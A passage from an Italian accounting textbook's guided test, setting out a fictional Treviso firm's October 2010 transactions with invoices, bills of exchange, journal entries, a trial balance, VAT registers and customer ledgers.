- Registrare l'invio all'incasso delle cambiali attive in contabilità generale.

11 ottobre

Ricevuto accredito del valore nominale delle cambiali inviate all'incasso s.b.f. (salvo buon fine).

- Registrare l'accredito del valore nominale delle cambiali incassate, in contabilità generale. Per il momento non si indicano oneri di alcun tipo.

11 ottobre

Ricevuto addebito per commissioni su cambiali all'incasso 8,90 €.

- Registrare l'addebito in contabilità generale.

Oneri vari	*Addebito commissioni...*	8,90	
Banca X c/c			8,90

12 ottobre

Ricevute merci e fattura dalla ditta Errex.

```
.----------------------------------------------------------------------------.
| E R R E X   s.r.l.                    | Spett.                              |
| ...                                   | Ditta per le esercitazioni          |
|                                       | ...                                 |
|                                       | ...                                 |
|                                       | PROTOCOLLO 037                      |
|----------------------------------------------------------------------------|
| Fattura accompagnatoria n. 154/   del 12 ottobre                           |
|----------------------------------------------------------------------------|
| pagamento: ricevuta bancaria 60 gg d.f.    banca di appoggio: banca X      |
|----------------------------------------------------------------------------|
|codice| descrizione        |quantità|pr. unitario|sconto|importo        |C.I.|
|------|--------------------|--------|------------|------|---------------|----|
| 7857 | Articolo «B»       |   4770 |       0,50 |      |      2.385,00 | 20 |
|      |                    |        |            |      |               |    |
|      |                    |        |            |      |               |    |
|      |                    |        |            |      |               |    |
|---------------------------|---------------------|--------------------------|
| Totale merce     2.385,00 | Sconto              | Totale netto     2.385,00 |
|----------------------------------------------------------------------------|
| Imponibile       | Aliquota IVA | Imposta o esenzione    | Totale imponibile |
|         2.385,00 |          20% |                 477,00 |          2.385,00 |
|                  |              |                        |-------------------|
|                  |              |                        | Totale IVA        |
|                  |              |                        |            477,00 |
|                  |              |                        |-------------------|
|                  |              |                        | Totale fattura    |
|                  |              |                        |          2.862,00 |
|----------------------------------------------------------|===================|
| Scadenze: 12 dicembre   2.862,00                                           |
|----------------------------------------------------------------------------|
| Trasporto a cura del MITTENTE         | Causale del trasporto: VENDITA      |
|---------------------------------------|------------------------------------|
| Data e ora inizio: 12 ottobre 09:30   | Firma del conducente                |
|---------------------------------------|------------------------------------|
| Aspetto ester.: cartone    | Colli 06 | Firma del destinatario              |
|---------------------------------------|------------------------------------|
| Dati del vettore                      | Data e ora ritiro | Firma vettore   |
|                                       |                   |                 |
|                                       |                   |                 |
`----------------------------------------------------------------------------'
```

- Registrare il carico della merce per acquisto in contabilità di magazzino.
- Registrare l'acquisto in contabilità generale.

13 ottobre

Emessa fattura accompagnatoria alla ditta Yankee, prevedendo l'emissione di cambiale tratta a 30 giorni dalla data della fattura, per la quale si addebitano contestualmente i bolli (IVA esclusa art. 15). Il trasporto avviene con mezzo del cliente.

Descrizione articolo	Quantità	Prezzo unitario	Prezzo complessivo
Articolo A	175	1,00	175,00
IVA 20%			35,00
bolli (IVA esclusa art. 15)			2,60
Totale fattura			212,60

- Emettere la fattura accompagnatoria (la figura mostra una fattura leggermente diversa, in quanto priva delle informazioni sull'accompagnamento della merce; ciò che va emesso,

invece, è una fattura accompagnatoria).

Azienda per le esercitazioni piazza della Vittoria, 3/4 31100 - Treviso - (TV) p.i.: 80011540269	numero fattura: **104**	data fattura: 13 ottobre 2010
	codice cliente: 5	
	Yankee via dei coniugi, 15 31100 Treviso TV CF o PI: 00496700261	
spese di trasporto	spese di imballo	pagamento: 11 tratta 30 g.d.f.
banca di appoggio: banca della valle		
ordine: numero / data	documento di trasporto: numero / data	

articolo	descrizione	quantità	sconto	sconto	prezzo unitario	importo	aliquota IVA
A	merce A	175			1,00	175,00	20%
					sconto sul totale:	0,00	

riepilogo IVA				
imponibile	aliquota	IVA	totale spese non documentate	0,00
0,00	4%	0,00	totale IVA	35,00
0,00	10%	0,00	spese documentate escluse dalla base imponibile	0,00
175,00	20%	35,00	interessi	0,00
ripartizione spese non documentate	aliquota	IVA	cauzioni	0,00
	4%	0,00	bolli	2,60
	10%	0,00	scadenza fattura: 12 novembre 2010	
	20%	0,00	totale fattura	212,60

* Registrare le fattura in contabilità generale.
* Registrare lo scarico della merce in contabilità di magazzino.

17 ottobre

Ricevute merci dalla ditta Delta.

```
.-------------------------------------------------------------------------------.
| D E L T A   s.p.a.                     | Spett.                               |
| ...                                    | Ditta per le esercitazioni           |
|                                        | ...                                  |
|                                        | ...                                  |
|                                        | PROTOCOLLO 043                       |
|-------------------------------------------------------------------------------|
| Documento di trasporto n. 264/   del 17 ottobre                               |
|-------------------------------------------------------------------------------|
|codice| descrizione          | quantità | prezzo unitario                        |
|------|----------------------|----------|----------------------------------------|
| 87TR | Articolo «a»         |    12700 |                                   0,50 |
|      |                      |          |                                        |
|      |                      |          |                                        |
|      |                      |          |                                        |
|-------------------------------------------------------------------------------|
| Trasporto a cura del  VETTORE          | Causale del trasporto: VENDITA       |
|----------------------------------------|--------------------------------------|
| Data e ora inizio: 06 ottobre 10:30    | Firma del conducente                 |
|----------------------------------------|--------------------------------------|
| Aspetto ester.: cartone    | Colli 11  | Firma del destinatario               |
|----------------------------------------|--------------------------------------|
| Dati del vettore                       | Data e ora ritiro | Firma vettore    |
| Domenichelli, TV, V.le della Rep. 10   | 17 ottobre 10:30  |                  |
|                                        |                   |                  |
'-------------------------------------------------------------------------------'
```

- Registrare il carico della merce per acquisto in contabilità di magazzino.

17 ottobre

Spedite merci alla ditta Emme ed emesso contestualmente il documento di trasporto n. 64. Il trasporto avviene con mezzo del cliente.

Descrizione articolo	Quantità	Prezzo unitario	Prezzo complessivo
Articolo B	5200	1,00	5200,00
IVA 20%			1040,00
bolli (IVA esclusa art. 15)			75,80
Totale fattura			6315,80

- Emettere il documento di trasporto.
- Registrare lo scarico della merce in contabilità di magazzino.

17 ottobre

Emessa la fattura differita relativa al documento di trasporto n. 64, per la quale si prevede l'emissione di una cambiale tratta a 30 giorni dalla data della fattura.

Descrizione articolo	Quantità	Prezzo unitario	Prezzo complessivo
Articolo B	5200	1,00	5200,00
IVA 20%			1040,00
bolli (IVA esclusa art. 15)			75,80
Totale fattura			6315,80

- Emettere la fattura differita (la figura mostra soltanto una fattura generica, mentre ciò che

va emesso è una fattura differita, riferita correttamente al DDT 64).

Azienda per le esercitazioni	numero fattura	data fattura
piazza della Vittoria, 3/4	105	17 ottobre 2010
31100 - Treviso - (TV)	codice cliente: 4	
p.i.: 80011540269	Emme	
	viale Libertà, 17	
	10100 Torino	TO
	CF o PI: 02513310017	

spese di trasporto	spese di imballo	pagamento	
		11	tratta 30 g.d.f.

banca di appoggio: banca del mare

ordine		documento di trasporto	
numero	data	numero	data

articolo	descrizione	quantità	sconto	sconto	prezzo unitario	importo	aliquota IVA
B	merce B	5200			1,00	5.200,00	20%
					sconto sul totale:	0,00	

riepilogo IVA				
imponibile	aliquota	IVA	totale spese non documentate	0,00
			totale IVA	1.040,00
0,00	4%	0,00	spese documentate escluse dalla base imponibile	0,00
0,00	10%	0,00	interessi	0,00
5.200,00	20%	1.040,00	cauzioni	0,00
ripartizione spese non documentate	aliquota	IVA	bolli	75,80
	4%	0,00	scadenza fattura: 16 novembre 2010	
	10%	0,00	totale fattura	6.315,80
	20%	0,00		

- Registrare la fattura in contabilità generale.

19 ottobre

Ricevuta dalla ditta Delta la fattura relativa alla fornitura del 17 ottobre, nella quale si addebitano anche spese di trasporto non documentate per 45,00 €+IVA.

```
.------------------------------------------------------------------------------.
| D E L T A   s.p.a.                   | Spett.                                |
| ...                                  | Ditta per le esercitazioni            |
|                                      | ...                                   |
|                                      | ...                                   |
|                                      | PROTOCOLLO 038                        |
|------------------------------------------------------------------------------|
| Fattura n. 155/   del 19 ottobre                                             |
|------------------------------------------------------------------------------|
| pagamento: ricevuta bancaria 60 gg d.f.     banca di appoggio: banca X       |
|------------------------------------------------------------------------------|
|codice| descrizione        |quantità|pr. unitario|sconto|importo          |C.I.|
|------|-----------------------------------------------------------------------|
|      | Da documento di trasporto n. 264 del 17 ottobre |                 |    |
| 87TR | Articolo «A»       |  12700 |       0,50 |      |        6.350,00 | 20 |
|      |                    |        |            |      |                 |    |
|      |                    |        |            |      |                 |    |
|      |                    |        |            |      |                 |    |
|      |                    |        |            |      |                 |    |
|---------------------------|---------------------|----------------------------|
| Totale merce     6.350,00 |    Trasporto  45,00 | Totale netto      6.395,00 |
|------------------------------------------------------------------------------|
| Imponibile        | Aliquota IVA | Imposta o esenzione    | Totale imponibile |
|          6.395,00 |           20 |               1.279,00 |          6.395,00 |
|                   |              |                        |-------------------|
|                   |              |                        | Totale IVA        |
|                   |              |                        |          1.279,00 |
|                   |              |                        |-------------------|
|                   |              |                        | Totale fattura    |
|                   |              |                        |          7.674,00 |
|----------------------------------------------------------|===================|
| Scadenze: 19 ottobre   7.674,00                                              |
'------------------------------------------------------------------------------'
```

- Registrare in contabilità generale la fattura.

19 ottobre

Ricevuta dalla ditta Domenichelli una fattura per un trasporto effettuato in precedenza.

```
.------------------------------------------------------------------------------.
| DOMENICHELLI s.p.a.                  | Spett.                                |
| ...                                  | Ditta per le esercitazioni            |
|                                      | ...                                   |
|                                      | ...                                   |
|                                      | PROTOCOLLO 039                        |
|------------------------------------------------------------------------------|
| Fattura n. 366/   del 17 ottobre                                             |
|------------------------------------------------------------------------------|
| pagamento Contanti                                                           |
|------------------------------------------------------------------------------|
|codice| descrizione        |quantità|pr. unitario|sconto|importo         |C.I.|
|------|--------------------|--------|------------|------|----------------|----|
|      | Trasporto          |        |            |      |           69,16 | 20 |
|      |                    |        |            |      |                 |    |
|      |                    |        |            |      |                 |    |
|      |                    |        |            |      |                 |    |
|------------------------------------------------------------------------------|
| Imponibile         | Aliquota IVA | Imposta o esenzione     | Totale imponibile |
|              69,16 |           20 |                   13,84 |             69,16 |
|                    |              |                         |-------------------|
|                    |              |                         | Totale IVA        |
|                    |              |                         |             13,84 |
|                    |              |                         |-------------------|
|                    |              |                         | Totale fattura    |
|                    |              |                         |             83,00 |
|----------------------------------------------------------|===================|
| Scadenze: 17 ottobre   83,00                                                 |
`------------------------------------------------------------------------------'
```

- Registrare in contabilità generale la fattura.

20 ottobre

Pagata l'IVA del mese di settembre con delega alla nostra banca. Si tenga presente che l'importo dell'IVA da pagare è già stato calcolato e girato nel conto «debiti per IVA» il cui valore può essere desunto dal bilancio di verifica del 30 settembre.

- Registrare il pagamento in contabilità generale.

24 ottobre

Delle cambiali presentate all'incasso il 10 ottobre la banca ne restituisce una protestata di 680,00 €, a cui si aggiungono le spese di protesto di 11,25 €. Pertanto, il valore complessivo del credito insoluto è di 691,25 €.

- Registrare l'addebito della cambiale protestata, aumentata delle spese di protesto, in contabilità generale.

Crediti insoluti	*cambiali protestate...*	691,25	
banca X c/c			691,25

26 ottobre

Inviate merci ed emessa fattura accompagnatoria alla ditta Zeta. Il trasporto viene effettuato con un nostro mezzo e di conseguenza vengono addebitate le spese di trasporto non documentate per 83,00 €. Il pagamento previsto è con rimessa diretta a 30 giorni dalla data della fattura.

Descrizione articolo	Quantità	Prezzo unitario	Prezzo complessivo
Articolo B	3720	1,00	3720,00
Spese di trasporto non documentate			83,00
Totale			3803,00
IVA 20%			760,60
Totale fattura			4563,60

- Emettere la fattura accompagnatoria (la figura mostra una fattura leggermente diversa, in quanto priva delle informazioni sull'accompagnamento della merce; ciò che va emesso, invece, è una fattura accompagnatoria).

Azienda per le esercitazioni piazza della Vittoria, 3/4 31100 - Treviso - (TV) p.i.: 80011540269	numero fattura: **106**	data fattura: 26 ottobre 2010
	codice cliente: 6	
	Zeta via Arbe, 50 20100 Milano MI CF o PI: 01720430485	

spese di trasporto non documentate	spese di imballo	pagamento	
€ 83,00		3	rimessa diretta 30 g.d.f.

ordine		documento di trasporto	
numero	data	numero	data

articolo	descrizione	quantità	sconto	sconto	prezzo unitario	importo	aliquota IVA
B	merce B	3720			1,00	3.720,00	20%
					sconto sul totale:	0,00	

riepilogo IVA				
			totale spese non documentate	83,00
imponibile	aliquota	IVA	totale IVA	760,60
0,00	4%	0,00	spese documentate escluse dalla base imponibile	0,00
0,00	10%	0,00	interessi	0,00
3.720,00	20%	744,00	cauzioni	0,00
ripartizione spese non documentate	aliquota	IVA	bolli	0,00
0,00	4%	0,00	scadenza fattura:	
0,00	10%	0,00	25 novembre 2010	totale fattura 4.563,60
83,00	20%	16,60		

- Registrare la fattura in contabilità generale.
- Registrare lo scarico per vendita in contabilità di magazzino.

27 ottobre

Ricevuta merce dalla ditta Delta.

```
.------------------------------------------------------------------------------.
| D E L T A   s.p.a.                  | Spett.                                 |
| ...                                 | Ditta per le esercitazioni             |
|                                     | ...                                    |
|                                     | ...                                    |
|                                     | PROTOCOLLO 044                         |
|------------------------------------------------------------------------------|
| Documento di trasporto n. 281/   del 27 ottobre                              |
|------------------------------------------------------------------------------|
|codice| descrizione        | quantità | prezzo unitario                       |
|------|--------------------|----------|---------------------------------------|
| 87TR | Articolo «A»       |    10500 |                                  0,60 |
|      |                    |          |                                       |
|      |                    |          |                                       |
|      |                    |          |                                       |
|------------------------------------------------------------------------------|
| Trasporto a cura del  VETTORE        | Causale del trasporto: VENDITA        |
|--------------------------------------|---------------------------------------|
| Data e ora inizio: 06 ottobre 10:30  | Firma del conducente                  |
|--------------------------------------|---------------------------------------|
| Aspetto ester.: cartone    | Colli 10 | Firma del destinatario               |
|--------------------------------------|---------------------------------------|
| Dati del vettore                     | Data e ora ritiro | Firma vettore     |
| Domenichelli, TV, V.le della Rep. 10 | 27 ottobre 10:30  |                   |
'------------------------------------------------------------------------------'
```

- Registrare il carico della merce per acquisto in contabilità di magazzino.

27 ottobre

La merce ricevuta dalla ditta Delta è stata trasportata da Domenichelli che ci consegna, assieme alla merce, la fattura per le spese di trasporto che sono a nostro carico.

```
.------------------------------------------------------------------------------.
| DOMENICHELLI s.p.a.                 | Spett.                                 |
| ...                                 | Ditta per le esercitazioni             |
|                                     | ...                                    |
|                                     | ...                                    |
|                                     | PROTOCOLLO 040                         |
|------------------------------------------------------------------------------|
| Fattura n. 395/   del 27 ottobre        banca di appoggio: banca X           |
|------------------------------------------------------------------------------|
| pagamento: ricevuta bancaria 60 gg. d.f.                                     |
|------------------------------------------------------------------------------|
|codice| descrizione        |quantità|pr. unitario|sconto|importo         |C.I.|
|------|--------------------|--------|------------|------|----------------|----|
|      | Trasporto          |        |            |      |           87,00 | 20 |
|      |                    |        |            |      |                 |    |
|      |                    |        |            |      |                 |    |
|      |                    |        |            |      |                 |    |
|------------------------------------------------------------------------------|
| Imponibile        | Aliquota IVA | Imposta o esenzione     | Totale imponibile |
|             87,00 |           20 |                   17,40 |             87,00 |
|                   |              |                         |-------------------|
|                   |              |                         | Totale IVA        |
|                   |              |                         |             17,40 |
|                   |              |                         |-------------------|
|                   |              |                         | Totale fattura    |
|                   |              |                         |            104,40 |
|----------------------------------------------------------|===================|
| Scadenze: 27 dicembre   104,40                                               |
'------------------------------------------------------------------------------'
```

- Registrare la fattura in contabilità generale.

27 ottobre

Ricevuta fattura dalla ditta Delta.

```
.---------------------------------------------------------------------------.
| D E L T A   s.p.a.                    | Spett.                            |
| ...                                   | Ditta per le esercitazioni        |
|                                       | ...                               |
|                                       | ...                               |
|                                       | PROTOCOLLO 041                    |
|---------------------------------------------------------------------------|
| Fattura n. 170/   del 27 ottobre                                          |
|---------------------------------------------------------------------------|
| pagamento: ricevuta bancaria 60 gg d.f.     banca di appoggio: banca X    |
|---------------------------------------------------------------------------|
|codice| descrizione        |quantità|pr. unitario|sconto|importo        |C.I.|
|------|--------------------------------------------------------------------|
|      | Da documento di trasporto n. 281 del 27 ottobre |                |    |
| 87TR | Articolo «A»       |  10500 |       0,60 |      |       6.300,00 | 20 |
|      |                    |        |            |      |                |    |
|      |                    |        |            |      |                |    |
|      |                    |        |            |      |                |    |
|---------------------------|---------------------|-------------------------|
| Totale merce     6.300,00 |                     | Totale netto   6.300,00 |
|---------------------------------------------------------------------------|
| Imponibile       | Aliquota IVA | Imposta o esenzione  | Totale imponibile |
|         6.300,00 |           20 |             1.260,00 |          6.300,00 |
|                  |              |                      |-------------------|
|                  |              |                      | Totale IVA        |
|                  |              |                      |          1.260,00 |
|                  |              |                      |-------------------|
|                  |              |                      | Totale fattura    |
|                  |              |                      |          7.560,00 |
|---------------------------------------------------------|===================|
| Scadenze: 27 ottobre   7.560,00                                           |
'---------------------------------------------------------------------------'
```

- Registrare la fattura in contabilità generale.

30 ottobre

Il cliente Zeta ci restituisce merce B.

```
.----------------------------------------------------------------------------.
| Z E T A                             | Spett.                               |
| ...                                 | Ditta per le esercitazioni           |
|                                     | ...                                  |
|                                     | ...                                  |
|                                     | PROTOCOLLO 045                       |
|----------------------------------------------------------------------------|
| Documento di trasporto n. 245/   del 30 ottobre                            |
|----------------------------------------------------------------------------|
|codice| descrizione        | quantità | prezzo unitario                     |
|------|--------------------|----------|-------------------------------------|
|      | Articolo «B»       |      720 |                                1,00 |
|      |                    |          |                                     |
|      |                    |          |                                     |
|      |                    |          |                                     |
|----------------------------------------------------------------------------|
| Trasporto a cura del         VETTORE  | Causale del trasporto: RESO        |
|--------------------------------------|-------------------------------------|
| Aspetto ester.: cartone    | Colli 05 | Firma del destinatario             |
|--------------------------------------|-------------------------------------|
| Dati del vettore                     | Data e ora ritiro | Firma vettore   |
| Domenichelli, TV, V.le della Rep. 10  | 27 ottobre 10:30  |                 |
'----------------------------------------------------------------------------'
```

- Registrare il reso in contabilità di magazzino (si aggiunge una scrittura, senza modificare lo scarico per vendita a cui il reso si riferisce).

30 ottobre

Il cliente Zeta ci invia un assegno a saldo della vendita del 26 ottobre, dedotto dell'importo della merce resaci.

Valore della merce resa: 720 × 1,00 = 720,00; valore della merce resa più IVA = 720,00 × 1,20 = 864,00; importo dovuto dal cliente = 4563,60 − 864,00 = 3699,60.

- Registrare il ricevimento dell'assegno in contabilità generale.

30 ottobre

Liquidati salari e stipendi per 6850,00 €, assegni familiari e indennità di malattia 205,00 €.

- Registrare l'operazione in contabilità generale.

Salari e stipendi	*liquidazione salari e stipendi*	6850,00	
Istituti previdenziali		205,00	
Personale c/retribuzioni			7055,00

31 ottobre

Pagate le retribuzioni a mezzo assegno bancario effettuando ritenute sociali per 606,22 € e ritenute fiscali per 875,00 €.

- Registrare l'operazione in contabilità generale.

Personale c/retribuzioni	*pagamento dipendenti...*	7055,00	
Istituti previdenziali			606,22
Debiti per ritenute da versare			875,00
Banca X c/c			5573,78

31 ottobre

Liquidati contributi sociali a carico dell'azienda per 2787,00 €.

- Registrare l'operazione in contabilità generale.

Oneri sociali	*liquidazione contributi...*	2787,00	
Istituti previdenziali			2787,00

31 ottobre

Inviata nota di accredito alla ditta Zeta per la merce resa il 30 ottobre.

Descrizione articolo	Quantità	Prezzo unitario	Prezzo complessivo
Articolo B	720	1,00	720,00
IVA 20%			144,00
Totale nota accredito			864,00

- Emettere la nota di accredito.

Azienda per le esercitazioni piazza della Vittoria, 3/4 31100 - Treviso - (TV) p.i.: 80011540269	nota di accredito n. **107**	data documento 31 ottobre 2010
	codice cliente: 6	
	Zeta via Arbe, 50 20100 Milano MI CF o PI: 01720430485	

riferimento fattura		note
numero	data	
106	26 ottobre 2010	

descrizione	quantità	sconto	sconto	prezzo unitario	importo	aliquota IVA
merce B resa	720			1,00	720,00	20%
				sconto sul totale:	0,00	

riepilogo IVA				
imponibile	aliquota	IVA	totale IVA	144,00
0,00	4%	0,00		0,00
0,00	10%	0,00		0,00
720,00	20%	144,00	totale nota di accredito	864,00

* Registrare la nota di accredito in contabilità generale.

31 ottobre

Si emettono le cambiali tratte delle fatture di vendita che prevedono questo tipo di pagamento, relative al mese di ottobre.

* Emettere le cambiali tratte.

bollo
€ 101,85

Treviso, 31 ottobre 2010
(LUOGO E DATA DELL'EMISSIONE)

Euro 8483,85
(IN CIFRE)

Al *7 novembre 2010*
(SCADENZA)

pagherete per questa cambiale tratta

all'ordine della ditta Azienda per le esercitazioni *la somma*

di Euro *ottomilaquattrocentoottantatre/85*
(IN LETTERE)

DOMICILIAZIONE

banca del mare

NOME E INDIRIZZO DEL DEBITORE

Emme
viale Libertà, 17
10100 - Torino - TO
CAP LOCALITÀ PROV.

(FIRMA)

bollo
€ 2,60

Treviso, 31 ottobre 2010
(LUOGO E DATA DELL'EMISSIONE)

Euro 212,60
(IN CIFRE)

Al *12 novembre 2010*
(SCADENZA)

pagherete per questa cambiale tratta

all'ordine della ditta Azienda per le esercitazioni *la somma*

di Euro *duecentododici/60*
(IN LETTERE)

DOMICILIAZIONE

banca della valle

NOME E INDIRIZZO DEL DEBITORE

Yankee
via dei coniugi, 15
31100 - Treviso - TV
CAP LOCALITÀ PROV.

(FIRMA)

bollo
€ 75,80

Treviso, 31 ottobre 2010
(LUOGO E DATA DELL'EMISSIONE)

Euro 6315,80
(IN CIFRE)

Al *16 novembre 2010*
(SCADENZA)

pagherete per questa cambiale tratta

all'ordine della ditta Azienda per le esercitazioni *la somma*

di Euro *seimilatrecentoquindici/80*
(IN LETTERE)

DOMICILIAZIONE

banca del mare

NOME E INDIRIZZO DEL DEBITORE

Emme

viale Libertà, 17

10100 - Torino - TO

CAP LOCALITÀ PROV.

(FIRMA)

31 ottobre

Vengono registrate in contabilità le cambiali tratte appena emesse.

- Registrare l'emissione delle cambiali tratte in contabilità generale.

124.13.4 Conclusione della prima parte

I documenti da presentare per la correzione sono i seguenti. Si faccia attenzione anche all'ordine che questi devono avere:

- scheda riepilogativa degli errori;
- bilancio di verifica iniziale, del 30 settembre;
- fattura di vendita n. 100;
- nostra nota di accredito n. 101;
- nostra nota di accredito n. 102;
- fattura di vendita n. 103;
- fattura di vendita n. 104;
- documento di trasporto n. 64;
- fattura di vendita n. 105;
- fattura di vendita n. 106;
- nostra nota di accredito n. 107;
- cambiale tratta della fattura di vendita n. 103;

- cambiale tratta della fattura di vendita n. 104;
- cambiale tratta della fattura di vendita n. 105;

I documenti devono avere la data prevista, essere impaginati correttamente e ordinati come sopra indicato.

Si faccia attenzione anche all'ordine con cui vengono fornite le stampe, dal momento che questo è uno dei fattori determinanti all'interno della valutazione che se ne può ottenere.

124.14 Verifica integrata (int2), guidata - seconda parte

Riprende la seconda parte della verifica. Da questo punto in avanti, se si riscontrano errori, si deve intervenire esclusivamente nella contabilità generale o nella contabilità di magazzino.

31 ottobre

Si stampa il giornale di contabilità generale per effettuare il controllo delle operazioni.

- Stampare il giornale di contabilità generale;
- controllare la corrispondenza della stampa con le operazioni da effettuare nel corso della verifica;
- correggere eventuali errori con la variazione dei movimenti nel giornale;
- se sono stati riscontrati degli errori, dopo la loro correzione si deve ristampare il giornale e ricontrollare le operazioni modificate o aggiunte.

31 ottobre

Viene effettuata la stampa del bilancio di verifica.

- Stampare il bilancio di verifica.

codice	denominazione	sommare eccedenza dare in bilancio, ovvero, sottrarre eccedenza avere in bilancio	sommare eccedenza avere in bilancio, ovvero, sottrarre eccedenza dare in bilancio	eccedenza dare	eccedenza avere
riordinare l'area di colore grigio (da B3 a E302), secondo la colonna B, in modo crescente				242 838,38	242 838,38
1201	fabbricati			80 000,00	0,00
1205	macchine d'ufficio			8 000,00	0,00
1211	fondo ammortamento fabbricati			0,00	22 515,00
1501	crediti v/clienti			17 667,11	0,00
1505	cambiali attive			18 533,05	0,00
1506	cambiali allo sconto			0,00	0,00
1507	cambiali all'incasso			0,00	0,00
1511	cambiali insolute			691,25	0,00
1540	fondo svalutazione crediti			0,00	1 317,00
1601	IVA n/credito			3 306,44	0,00
1820	denaro in cassa			2 820,30	0,00
1821	assegni			3 699,60	0,00
2101	patrimonio netto			0,00	69 903,10
2301	debiti per TFRL			0,00	9 000,00
2501	debiti v/fornitori			0,00	55 714,61
2503	cambiali passive			0,00	5 431,00
2601	IVA n/debito			0,00	3 587,20
2602	debiti per ritenute da versare			0,00	875,00
2605	debiti per IVA			0,00	0,00
2606	debiti per imposte			0,00	1 100,00
2620	personale c/retribuzioni			0,00	0,00
2811	istituti previdenziali			0,00	3 188,22
2820	banca ... c/c			11 689,80	0,00
3101	merci c/vendite			0,00	69 707,00
3103	rimborsi spese di vendita			0,00	398,25
3110	resi su vendite			720,00	0,00
3111	ribassi e abbuoni passivi			440,00	0,00
4101	merci c/acquisti			76 818,00	0,00
4111	ribassi e abbuoni attivi			0,00	102,00
4201	costi di trasporto			479,16	0,00
4204	costi di consulenze			2 285,70	0,00
4401	salari e stipendi			9 971,00	0,00
4402	oneri sociali			5 457,00	0,00
4903	oneri vari			8,90	0,00
5101	interessi passivi v/fornitori			57,95	0,00
5240	oneri finanziari diversi			193,12	0,00

Errori comuni:

- la presenza del conto «merci», che si riferisce alle rimanenze finali, suggerisce che potrebbe essere stato usato erroneamente al posto di «merci c/acquisti» o di «merci c/vendite»;
- la presenza di un errore che riguarda simultaneamente il conto «crediti v/clienti», «IVA n/debito», suggerisce la presenza di errori nella registrazione delle fatture di vendita o delle note di accredito a clienti;
- la presenza di un errore che riguarda simultaneamente il conto «debiti v/fornitori», «IVA n/credito», suggerisce la presenza di errori nella registrazione delle fatture di acquisto o delle note di accredito da fornitori;
- la presenza di un errore che riguarda simultaneamente le «cambiali attive» e il conto «crediti v/clienti», indica un problema con la contabilizzazione dell'emissione delle cambiali tratte;

- la presenza di errori con i conti «cambiali all'incasso» o «cambiali allo sconto», indica un problema con le registrazioni che riguardano rispettivamente la presentazione all'incasso e la presentazione allo sconto delle cambiali attive, oppure il loro mancato incasso e sconto conclusivo.

31 ottobre

Vengono compilati i registri IVA degli acquisti e delle vendite.

- Compilare i registri IVA degli acquisti e delle vendite.
- Stampare i registri IVA.

Porzione di esempio dei registri IVA.

registro delle fatture di acquisto

riepiloghi

codice IVA	descrizione	imponibili	imposte	imposte deducibili
20%	aliquota 20%	16532,16	3306,44	3306,44
es15	esclusa art. 15	57,95	0,00	0,00
	totali	**16590,11**	**3306,44**	**3306,44**

registro delle fatture di vendita

data di registrazione	data del documento	indicatore di errore	numero doc. e prot.	indicatore di errore	cliente		fattura o nota di variazione	totale documento	imponibile	codice IVA	imposta	indicatore di errore	descrizione
8 ott 2010	8 ott 2010		103		4	Emme	fatt.	8483,85	6850,00	20%	1370,00		aliquota 20%
									135,00	20%	27,00		aliquota 20%
									101,85	es15	0,00		esclusa art. 15
31 ott 2010	31 ott 2010		107		6	Zeta	n. acc.	-864,00	-720,00	20%	-144,00		aliquota 20%

riepiloghi

codice IVA	descrizione	imponibili	imposte	imposte deducibili
20%	aliquota 20%	17936,00	3587,20	3587,20
es15	esclusa art. 15	180,25	0,00	0,00
	totali	**18116,25**	**3587,20**	**3587,20**

Errori comuni:

- scritture che appaiono in una data diversa dal previsto;
- numerazione errata dei documenti nel registro della fatture di acquisto;
- numerazione errata dei documenti nel registro della fatture di vendita.

31 ottobre

Viene predisposto e stampato il partitario di clienti e fornitori. Si tratta precisamente dei clienti Emme, Yankee, Zeta, e dei fornitori Delta, Errex, Domenichelli.

- Predisporre e stampare le schede dei clienti e dei fornitori utilizzati durante il mese di ottobre.

codice cliente	scheda del cliente: «Emme»	eccedenza dare	eccedenza avere
4		7 763,90	0,00

n	data reg.	n. doc.	data doc.	n. prot.	descrizione	dare	avere
1	30/09				situazione dei conti al 30/9	7 763,90	0,00
13	08/10	103	08/10		emessa fattura al cliente Emme per vendita di merce con pagamento con emissione di cambiale tratta a 30 giorni, addebitando in fattura anche spese di trasporto non documentate per 135,00 €, mentre 101,85 € sono del bollo sulla tratta (IVA esclusa art. 15).	8 483,85	0,00
22	13/10	105	17/10		emessa fattura al cliente Emme per vendita di merce e pagamento con emissione di cambiale tratta a 30 giorni, addebitando in fattura i bolli sulla cambiale, per 75,80 € (IVA esclusa art. 15)	6 315,80	0,00
35	31/10				emessa cambiale tratta, sul cliente Emme, per il pagamento della fattura di vendita 103 del 8/10	0,00	8 483,85
37	31/10				emessa cambiale tratta, sul cliente Emme, per il pagamento della fattura di vendita 105 del 19/10	0,00	6 315,80
n	data	n. doc.	data doc.	n. prot.	descrizione	dare	avere

codice cliente	scheda del cliente: «Yankee»	eccedenza dare	eccedenza avere
5		2 691,60	0,00

n	data reg.	n. doc.	data doc.	n. prot.	descrizione	dare	avere
1	30/09				situazione dei conti al 30/9	6 291,60	0,00
4	02/10				riscossa fattura n. 92 del 15/9, per la quale è stato concesso un abbuono qualitativo e verrà emessa una nota di accredito	0,00	3 240,00
6	03/10	101	03/10		emessa nota di accredito per abbuono qualitativo, riferito alla fattura 92 del 15/9	0,00	360,00
21	13/10	104	13/10		emessa fattura al cliente Yankee per vendita di merce con pagamento con emissione di cambiale tratta a 30 giorni, addebitando in fattura i bolli sulla cambiale, per 2,60 € (IVA esclusa art. 15)	212,60	0,00
36	31/10				emessa cambiale tratta, sul cliente Yankee, per il pagamento della fattura di vendita 104 del 13/10	0,00	212,60
n	data	n. doc.	data doc.	n. prot.	descrizione	dare	avere

codice cliente	scheda del cliente: «Zeta»	eccedenza dare	eccedenza avere
6		7 211,61	0,00

n	data reg.	n. doc.	data doc.	n. prot.	descrizione	dare	avere
1	30/09				situazione dei conti al 30/9	7 211,61	0,00
5	03/10	100	03/10		emessa fattura al cliente Zeta con pagamento a 30 giorni (rimessa diretta)	3 420,00	0,00
8	05/10				riscossa fattura n. 100 del 3/10, concedendo contestualmente uno sconto del 2%, per pagamento anticipato	0,00	3 351,60
9	05/10	102	03/10		emessa nota di accredito per sconto condizionato, riferito alla fattura 100 del 3/10	0,00	68,40
27	26/10	106	26/10		emessa fattura al cliente Zeta per vendita di merce e pagamento con rimessa diretta a 30 giorni, addebitando anche spese di trasporto non documentate per 83,00 €	4 563,60	0,00
30	30/10				riscossa la fattura 106, dal cliente Zeta, dedotta delle merci che il cliente ci ha reso	0,00	3 699,60
34	31/10	107	31/10		emessa nota di accredito per merce resa, relativa alla fattura di vendita 106 del 26/10	0,00	864,00
n	data	n. doc.	data doc.	n. prot.	descrizione	dare	avere

